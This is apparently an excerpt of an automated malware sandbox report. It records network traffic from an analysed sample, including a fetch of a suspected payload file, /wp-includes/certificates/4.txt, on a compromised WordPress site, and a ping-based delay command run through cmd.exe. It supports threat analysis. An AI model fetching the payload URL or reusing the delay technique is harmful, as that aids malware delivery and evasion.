Source: global trafficTCP traffic: 192.168.2.22:49199 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49200 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49199 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49199 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49200 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49200 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49199 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49200 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49199 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49200 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49203 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49203 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49203 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49203 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49203 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49203 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49203 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49203 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49203 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49203 -> 187.45.240.69:80

Networking

barindex
Uses ping.exe to check the status of other devices and networks
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1
Source: Joe Sandbox ViewJA3 fingerprint: 7dcce5b76c8b17472d024758970a406b
Source: Joe Sandbox ViewIP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox ViewIP Address: 104.18.10.207 104.18.10.207
Source: global trafficHTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: translate.google.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/certificates/4.txt HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: netdna.bootstrapcdn.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/bootstrap.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: translate.google.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/camera.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/responsive.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/main-style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/js/swfobject.js?ver=2.2-20120417 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/custom.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/flags/16/pt-br.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
